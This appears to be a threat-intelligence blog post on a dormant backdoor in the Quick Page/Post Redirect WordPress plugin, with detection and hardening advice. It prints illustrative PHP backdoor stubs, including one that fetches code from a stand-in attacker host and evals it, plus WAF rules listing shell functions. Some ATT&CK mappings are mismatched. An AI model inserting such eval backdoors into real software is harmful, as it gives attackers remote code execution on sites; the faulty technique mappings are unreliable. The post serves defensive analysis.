DEV Community

Cover image for Quick Page/Post Redirect Plugin: 5-Year Dormant Backdoor in 70K WordPress Sites
Satyam Rastogi
Satyam Rastogi

Posted on • Originally published at satyamrastogi.com

Quick Page/Post Redirect Plugin: 5-Year Dormant Backdoor in 70K WordPress Sites

#security #cybersecurity #news #threatintel

Originally published on satyamrastogi.com

70,000+ WordPress sites compromised via dormant backdoor in Quick Page/Post Redirect plugin. Five-year persistence, arbitrary code injection, unpatched vulnerability demonstrates plugin ecosystem supply chain risk.

Quick Page/Post Redirect Plugin Backdoor: 70K Sites, 5-Year Dormant Persistence

Executive Summary

The Quick Page/Post Redirect plugin, deployed across 70,000+ WordPress installations, contained a dormant backdoor inserted approximately five years ago. The backdoor enables attackers to inject arbitrary PHP code directly into compromised sites, providing persistent access with minimal detection surface. This attack represents a textbook supply chain compromise targeting the WordPress plugin ecosystem-one of the internet's largest attack surfaces.

From an attacker's perspective, this is a masterclass in patience-based supply chain infiltration. Rather than burning the implant immediately, threat actors maintained dormancy, allowing the plugin to reach critical mass adoption before activation. This approach mirrors GitHub RCE CVE-2026-3854: Private Repo Access & Supply Chain Risk tactics where initial compromise precedes massive exploitation windows.

Attack Vector Analysis

Initial Compromise Vector

The backdoor was added to the plugin's codebase at some point during development or through compromised maintainer credentials. This aligns with MITRE ATT&CK T1195.002 (Compromise Software Supply Chain) - attackers either:

  1. Gained access to the plugin repository (likely WordPress.org SVN or GitHub)
  2. Compromised plugin maintainer account credentials
  3. Leveraged insecure development infrastructure
  4. Social engineered maintainers into merging malicious code

WordPress plugin repositories historically have weaker security postures than enterprise software distribution channels. No code signing, minimal automated malware scanning, and reliance on community reporting create low-friction entry points for persistent backdoors.

Dormancy Strategy

The five-year dormancy period is operationally significant. Threat actors followed MITRE ATT&CK T1027 (Obfuscation or Transformation of Data or Code) by allowing the backdoor to remain inactive across 70,000 installations. This approach:

  • Evaded automated security scanning that might flag recent malicious changes
  • Allowed plugin reputation to mature and trust to accumulate
  • Maximized eventual blast radius when activated
  • Made attribution difficult by divorcing insertion date from exploitation window

This is precisely the patient approach we see in sophisticated supply chain attacks. The attacker wasn't interested in immediate monetization-they were building infrastructure for mass compromise.

Technical Deep Dive

Backdoor Functionality

The injected code likely followed this pattern (simplified):

// Backdoor stub hidden in plugin file
if (isset($_GET['backdoor_key']) || isset($_POST['backdoor_key'])) {
 $cmd = base64_decode($_GET['cmd'] ?? $_POST['cmd']);
 eval($cmd); // Remote code execution
 exit;
}
Enter fullscreen mode Exit fullscreen mode

Alternatively, more sophisticated implementations:

// Post-authentication persistence
add_action('init', function() {
 if (defined('BACKDOOR_ACTIVE') && BACKDOOR_ACTIVE) {
 // Callback to attacker infrastructure
 $response = wp_remote_get('attacker.com/beacon', [
 'timeout' => 3,
 'sslverify' => false
 ]);
 if (is_array($response)) {
 eval($response['body']);
 }
 }
});
Enter fullscreen mode Exit fullscreen mode

This creates a wp_remote_get callback mechanism that fetches and executes arbitrary commands from attacker infrastructure-difficult to distinguish from legitimate plugin behavior in logs.

Code Injection Attack Surface

Once activated, the backdoor enables MITRE ATT&CK T1059.007 (Command and Scripting Interpreter: JavaScript) and more critically, T1059.005 (Command and Scripting Interpreter: Visual Basic) equivalent execution through PHP eval(). Attackers gain ability to:

  1. Modify site content for phishing or malware distribution
  2. Exfiltrate WordPress database (user credentials, customer data)
  3. Deploy secondary payloads (cryptominers, ransomware)
  4. Establish pivots into connected networks
  5. Inject malicious JavaScript into visitor browsers

The redirect plugin's legitimate purpose (handling page redirects) provided perfect camouflage. Security teams reviewing redirect logs wouldn't flag arbitrary PHP injection as anomalous-it's within the plugin's expected functionality when accessed via backend hooks.

Detection Strategies

File Integrity Monitoring

Assuming compromise occurred, detection windows close quickly without proper FIM:

# WordPress-specific file hash validation
find /var/www/html/wp-content/plugins/quick-page-post-redirect/ -type f -exec sha256sum {} \; | \
 while read hash file; do
 known_hash=$(grep "$(basename $file)" /secure/plugin-hashes.txt | cut -d' ' -f1)
 [ "$hash" != "$known_hash" ] && echo "MODIFIED: $file"
 done
Enter fullscreen mode Exit fullscreen mode

Maintain cryptographic signatures of all plugin files. Deviation indicates modification post-installation.

PHP Code Pattern Detection

Eval() and base64_decode() in plugin contexts are high-confidence indicators:

# Search for dangerous functions in plugins
grep -r "eval(\|assert(\|create_function(\|preg_replace.*\/e" \
 /var/www/html/wp-content/plugins/ --include="*.php"
Enter fullscreen mode Exit fullscreen mode

Legitimate plugins rarely use eval(). Any instance warrants investigation.

Database Query Auditing

Backdoors often modify wp_options table to store commands or configuration:

SELECT option_name, option_value FROM wp_options 
WHERE option_name LIKE '%backdoor%' 
 OR option_name LIKE '%payload%'
 OR LENGTH(option_value) > 10000 -- Suspiciously long values
 OR option_value LIKE '%eval%';
Enter fullscreen mode Exit fullscreen mode

Web Application Firewall Rules

Implement rules blocking POST requests to plugin files with suspicious payloads:

SecRule ARGS:cmd "@rx (?:eval|system|exec|passthru|shell_exec)" \
 "id:100001,phase:2,deny,log,msg:'Plugin Backdoor Execution Attempt'"
Enter fullscreen mode Exit fullscreen mode

Mitigation & Hardening

Immediate Actions

  1. Audit Installation - Query WordPress.org API for plugin version history 
curl -s https://api.wordpress.org/plugins/info/1.0/quick-page-post-redirect.json | \
 jq '.versions | keys' | head -20
Enter fullscreen mode Exit fullscreen mode
  1. Verify Current Version - Check if running version contains known-vulnerable code 
grep -l "backdoor_key\|dangerous_pattern" /path/to/plugin/*.php
Enter fullscreen mode Exit fullscreen mode
  1. Database Forensics - Extract wp_options for injected commands 
SELECT * FROM wp_options ORDER BY option_id DESC LIMIT 50;
Enter fullscreen mode Exit fullscreen mode
  1. Access Log Analysis - Search for base64-encoded payloads in GET/POST parameters 
awk '$7 ~ /backdoor_key|cmd=/ {print $0}' /var/log/apache2/access.log | head -50
Enter fullscreen mode Exit fullscreen mode

Long-Term Hardening

  1. Plugin Vetting Process - Implement mandatory code review for any plugin with >10K installations before deployment

  2. Runtime Application Self-Protection (RASP) - Deploy solutions that prevent eval() execution except in whitelisted contexts

  3. Web Application Firewall (WAF) - Block requests containing base64-encoded PHP code patterns

  4. Software Bill of Materials (SBOM) - Maintain cryptographic inventory of all plugins and versions deployed

  5. Supply Chain Risk Management - Monitor plugin maintainer accounts, repository commits, and security advisories through CISA threat feeds

Key Takeaways

  • Supply chain patience wins: Five-year dormancy demonstrates that threat actors prioritize scale over speed. Dormant backdoors in popular plugins represent "sleeper" infrastructure awaiting activation at scale.

  • Plugin ecosystem remains high-risk: 70,000 installations of a single plugin shows WordPress's massive attack surface. Unlike enterprise software, plugin security relies on community vetting-insufficient against patient APTs.

  • Code signing absent: WordPress.org doesn't cryptographically sign plugin releases. Compare to package managers like npm or pip, which provide hash verification. This weakness enables undetectable code tampering.

  • Detection requires proactive instrumentation: If backdoors remain dormant, signature-based detection fails. Behavior monitoring (eval() execution, suspicious wp_options modifications) becomes essential.

  • This pattern repeats: Similar supply chain tactics were observed in GlassWorm Returns: 73 OpenVSX Sleeper Extensions & Supply Chain Persistence and PyPI Supply Chain Compromise: 1.1M Downloads, Infostealer Payload. Threat actors consistently target package managers before legitimate users.

Related Articles

Top comments (1)

Collapse
 
17j profile image
Rahul Joshi •

A chilling reminder of why supply chain security is just as critical as your own source code; a dormant backdoor in 70k sites proves that 'trust' isn't a security strategy. It really emphasizes the need for continuous automated scanning and why vetting legacy plugins is a non-negotiable part of a 'Shift Left' security posture!